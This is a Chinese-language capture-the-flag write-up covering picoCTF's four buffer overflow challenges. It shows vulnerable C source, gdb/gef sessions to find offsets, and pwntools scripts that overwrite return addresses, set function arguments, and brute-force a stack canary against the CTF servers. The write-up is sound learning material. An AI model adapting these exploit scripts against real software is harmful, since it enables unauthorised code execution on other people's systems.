# buffer overflow 0 題目:https://play.picoctf.org/practice/challenge/257?page=1&search=buffer > Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. Connect using: nc saturn.picoctf.net 52445 既然他說是buffer overflow,我們就直接無腦灌一堆輸入 ![image](https://hackmd.io/_uploads/r1gdqidA1x.png) 然後就莫名其妙的得到flag了 ## why 好啦,我們還是好好來解XD 用wget把源碼跟執行檔抓下來 ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { printf("%s\n", flag); fflush(stdout); exit(1); } void vuln(char *input){ char buf2[16]; strcpy(buf2, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); // Set up signal handler gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Input: "); fflush(stdout); char buf1[100]; gets(buf1); vuln(buf1); printf("The program will exit now\n"); return 0; } ``` 從第31行可知當程式出現錯誤時會跑`sigsegv_handler`這個函式,此函式會把flag印出來 # buffer overflow 1 題目:https://play.picoctf.org/practice/challenge/258?page=1&search=buffer > Control the return address Now we're cooking! You can overflow the buffer and return to the flag function in the program. You can view source here. And connect with it using nc saturn.picoctf.net 63054 用wget把源碼和執行檔抓下來,並給定vuln執行權限 ```bash chmod +x vuln ``` ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; } ``` 為了在本地進行測試,我們先新增一個測試用的flag.txt ``` flag{testflag} ``` 從程式碼可以看出我們若能呼叫`win`函式,他就會讀取flag.txt並把flag印出來,但要怎麼執行win函式呢? 答案是我們要用buffer overflow進行覆蓋,把return address改掉,要怎麼做呢? > EIP暫存器指向即將執行的指令的位址 所以我們要將eip的值複寫為`win`函式的地址 使用gdb進行調適(註:要安裝gef或pwntools之類的plugin) ```bash gdb ./vuln ``` 反組譯vuln函式 ```gdb disassemble vuln ``` ```gdb Dump of assembler code for function vuln: 0x08049281 <+0>: endbr32 0x08049285 <+4>: push ebp 0x08049286 <+5>: mov ebp,esp 0x08049288 <+7>: push ebx 0x08049289 <+8>: sub esp,0x24 0x0804928c <+11>: call 0x8049130 <__x86.get_pc_thunk.bx> 0x08049291 <+16>: add ebx,0x2d6f 0x08049297 <+22>: sub esp,0xc 0x0804929a <+25>: lea eax,[ebp-0x28] 0x0804929d <+28>: push eax 0x0804929e <+29>: call 0x8049050 <gets@plt> 0x080492a3 <+34>: add esp,0x10 0x080492a6 <+37>: call 0x804933e <get_return_address> 0x080492ab <+42>: sub esp,0x8 0x080492ae <+45>: push eax 0x080492af <+46>: lea eax,[ebx-0x1f9c] 0x080492b5 <+52>: push eax 0x080492b6 <+53>: call 0x8049040 <printf@plt> 0x080492bb <+58>: add esp,0x10 0x080492be <+61>: nop 0x080492bf <+62>: mov ebx,DWORD PTR [ebp-0x4] 0x080492c2 <+65>: leave 0x080492c3 <+66>: ret End of assembler dump. ``` 接著我們要用動態分析的方法取得offset (輸入到eip的距離,也就是需要先隨便填幾個字元之後才會達到eip的位置,以輸入win的地址),有兩個方法 - 法一:手動算 在`get`函式(取得輸入)之後設定break point ```gdb b *0x080492a3 ``` 把程式跑起來 ```gdb r ``` 輸入短短幾個字 ``` ABCDEF ``` 用`search-pattern`找出輸入所在的位置 ```gdb search-pattern ABCDEF ``` ```gef gef➤ search-pattern ABCDEF [+] Searching 'ABCDEF' in memory [+] In '[heap]'(0x804d000-0x806f000), permission=rw- 0x804d1a0 - 0x804d1a8 → "ABCDEF\n" [+] In '/usr/lib32/libc.so.6'(0xf7f16000-0xf7f9b000), permission=r-- 0xf7f17021 - 0xf7f17058 → "ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr[...]" 0xf7f34a0c - 0xf7f34a43 → "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx[...]" 0xf7f34aaa - 0xf7f34ac4 → "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 0xf7f34afa - 0xf7f34b1e → "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx 0xffffce10 - 0xffffce16 → "ABCDEF" ``` 可以發現它在`0xffffce10` 接著用指令 ```gdb i f # info frame ``` ```gdb Stack level 0, frame at 0xffffce40: eip = 0x80492a3 in vuln; saved eip = 0x804932f called by frame at 0xffffce70 Arglist at 0xffffce38, args: Locals at 0xffffce38, Previous frame's sp is 0xffffce40 Saved registers: ebx at 0xffffce34, ebp at 0xffffce38, eip at 0xffffce3c ``` 發現eip在`0xffffce3c`的位置(看最後一行) 所以offset就是`0xffffce3c - 0xffffce10 = 44` - 法二:電腦算 用指令 ```gdb pattern create 100 ``` 產生100bytes的測試字串 把程式跑起來後輸入 ```gef GNU gdb (Debian 16.2-8) 16.2 Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x41 $ebx : 0x6161616a ("jaaa"?) $ecx : 0x0 $edx : 0x0 $esp : 0xffffce40 → "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]" $ebp : 0x6161616b ("kaaa"?) $esi : 0x08049350 → <__libc_csu_init+0000> endbr32 $edi : 0xf7ffcb60 → 0x00000000 $eip : 0x6161616c ("laaa"?) $eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffce40│+0x0000: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]" ← $esp 0xffffce44│+0x0004: "naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa" 0xffffce48│+0x0008: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa" 0xffffce4c│+0x000c: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa" 0xffffce50│+0x0010: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa" 0xffffce54│+0x0014: "raaasaaataaauaaavaaawaaaxaaayaaa" 0xffffce58│+0x0018: "saaataaauaaavaaawaaaxaaayaaa" 0xffffce5c│+0x001c: "taaauaaavaaawaaaxaaayaaa" ────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── [!] Cannot disassemble from $PC [!] Cannot access memory at address 0x6161616c ────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "vuln", stopped 0x6161616c in ?? (), reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ``` 可以看到目前eip的值是`0x6161616c`(laaa),我們輸入 ```gdb pattern offset 0x6161616c ``` ```gef gef➤ pattern offset 0x6161616c [+] Searching for '6c616161'/'6161616c' with period=4 [+] Found at offset 44 (little-endian search) likely ``` 直接得知offset為`44` 接著我們需要知道`win`函式的位置 使用指令 ```gdb x win ``` ```gdb 0x80491f6 <win>: 0xfb1e0ff3 ``` 得到`win`在`0x80491f6` 使用pwntools的p32函式可將數字轉換為字符(採用Little-Endian) ```python Python 3.13.2 (main, Mar 13 2025, 14:29:07) [GCC 14.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> p32(0x80491f6) b'\xf6\x91\x04\x08' ``` 因此我們需要輸入44個A後接上\xf6\x91\x04\x08 也就是`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08` 但我們不能直接輸入,要用 - 法一 ```bash # local echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08' | ./vuln # remote echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08' | nc saturn.picoctf.net 63054 ``` - 法二:使用pwntools解題 新增 `payload.py` 內容如下 ```python #!/usr/bin/python3 from pwn import * server = "saturn.picoctf.net" port = 63054 binaryfile = "./vuln" # open file if args.REMOTE: p = remote(server, port) else: p = process(binaryfile) # payload offset = 44 win = 0x80491f6 payload = b'A'*offset payload += p32(win) print(p.recvuntil(b':').decode('utf-8')) p.sendline(payload) # send the payload p.interactive() ``` ```bash # local python3 payload.py # remote python3 payload.py REMOTE ``` 成功! ![image](https://hackmd.io/_uploads/r1SmERdRkg.png) # buffer overflow 2 題目:https://play.picoctf.org/practice/challenge/259?page=1&search=buffer > Control the return address and arguments This time you'll need to control the arguments to the function you return to! Can you get the flag from this program? You can view source here. And connect with it using nc saturn.picoctf.net 62549 (由於大部分技巧前面都講過了,以下兩題會跳過細節只講關鍵部分) 這題我們不只需要改return address,還要把win函數的參數一併修改 在gdb中反組譯win函式,可發現這四行組語 ```gdb 0x0804930c <+118>: cmp DWORD PTR [ebp+0x8],0xcafef00d 0x08049313 <+125>: jne 0x804932f <win+153> 0x08049315 <+127>: cmp DWORD PTR [ebp+0xc],0xf00df00d 0x0804931c <+134>: jne 0x8049332 <win+156> ``` 代表他會把`ebp+0x8`的值拿去跟`0xcafef00d`比較;`ebp+0xc`的值跟`0xf00df00d`比較,都一樣才會對 可以參考[這篇文章](https://zhu45.org/posts/2017/Jul/30/understanding-how-function-call-works/),就知道這兩個位置其實就是win函數的兩個參數。 也就是我們覆蓋掉eip達到win函數之後,還要進一步將這兩處改成我們需要的值。 首先用先前提的方法求出到eip的offset(這裡用`pattern create 100` 還填不滿buffer,所以塞多一點,比如`pattern create 200`) 這裡介紹一個不一樣的輸入方法 ```gdb r <<< $(echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab) ``` 能直接把那一串東西輸入進去。 可以得到offset應為`112` 用`x win`可以得到`win`的位置為`0x8049296` 所以輸入 ``` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ``` 理論上可以進到`win` 測試一下,在`win`新增一個break point (`b win`) 接著跑起來 ```gdb r <<< $(echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08") ``` 我們可以看到這行 ```gef ────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "vuln", stopped 0x804929e in win (), reason: BREAKPOINT ``` 代表我們成功跳到`win`了 我們在payload後面再次加上pattern create產生的內容再跑一次 ```gdb r <<< $(echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab") ``` 達到win之後,我們使用 ```gdb x/x $ebp+0x8 ``` 查詢`ebp+0x8`處的內容,得到 ```gdb 0xffffce44: 0x61616162 ``` 求出offset ```gdb pattern offset 0x61616162 ``` ```gef gef➤ pattern offset 0x61616162 [+] Searching for '62616161'/'61616162' with period=4 [+] Found at offset 4 (little-endian search) likely ``` 得知offset為4,也就是在達到win之後,我們還需要額外塞4個字元,再輸入我們希望設定的ebp+0x8的值。 而填入`0xcafef00d`之後,由於`0xcafef00d`剛好是4個bytes,所以便到了ebp+0xc,直接接著填`0xf00df00d`就好 ## 撰寫payload ```python #!/usr/bin/python3 from pwn import * server = "saturn.picoctf.net" port = 62549 binaryfile = "./vuln" # open file if args.REMOTE: print('remote') p = remote(server, port) else: p = process(binaryfile) # payload offset1 = 112 offset2 = 4 win = 0x08049296 payload = b'A'*offset1 payload += p32(win) payload += b'B'*offset2 payload += p32(0xcafef00d) payload += p32(0xf00df00d) print(p.recvuntil(b':').decode('utf-8')) p.sendline(payload) # send the payload p.interactive() ``` ![image](https://hackmd.io/_uploads/BkP2jCdAJg.png) # buffer overflow 3 題目:https://play.picoctf.org/practice/challenge/260?page=1&search=buffer > Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using: nc saturn.picoctf.net 51815 > 理論上canary要是一個隨機值,繞過方法通常是利用其他漏洞是先取得其值,在寫到它時原封不動的寫回去,所以本題比較不符合真實情境 看原始碼了解程式的邏輯是自己訂一個固定的4bytes的canary,因此先新增一個canary.txt,裡面填入4bytes的內容,比如`RgSh` 我們可以在vuln.c中看到buffer的大小為64bytes,而經由實測發現輸入第65個字元之後就會報 ``` ***** Stack Smashing Detected ***** : Canary Value Corrupt! ``` 的錯誤。 此題的關鍵是如果我們輸入第65個字還沒報錯,就代表我們猜對了canary的第一個字元,輸入第66個還沒報錯代表canary的前兩個字元都猜對,以此類推,並用此邏輯去爆破canary。 ## payload ```python #!/usr/bin/python3 from pwn import * import string server = "saturn.picoctf.net" port = 51815 binaryfile = "./vuln" # open file if args.REMOTE: r = True else: r = False # payload offset1 = 64 # buffer size (the distance between the input and the canary's location) offset2 = 16 # eip - the address of the canary - 0x4 (the size of the canary) win = 0x8049336 def canary_brute_force(): canary = b'' for i in range(1,5): for c in string.printable: if r: p = remote(server, port) else: p = process(binaryfile) p.sendlineafter(b'> ', b'%d' % (offset1 + i)) # the length of the payload (A*64 + first i character of the canary) payload = b'A'*offset1 + canary payload += c.encode() p.sendlineafter(b'> ', payload) if b"Now Where's the Flag" in p.recvall(): # if no Stack Smashing Detected canary += c.encode() break p.close() print('\nThe canary is:', canary.decode(), '\n') return canary payload = b'A'*offset1 payload += canary_brute_force() payload += b'B'*offset2 payload += p32(win) if r: p = remote(server, port) else: p = process(binaryfile) print(p.recvuntil(b'>').decode('utf-8')) p.sendline(b'%d' % (len(payload))) print(p.recvuntil(b'> ').decode('utf-8')) p.sendline(payload) # send the payload p.interactive() ``` 跑了好久終於跑出結果 ![image](https://hackmd.io/_uploads/S1n5IyYC1g.png) 這些東西對於初學的我花了好多時間,參考資料基本上google到的前一兩頁的writeups我都看了,還有CTFtime上面的。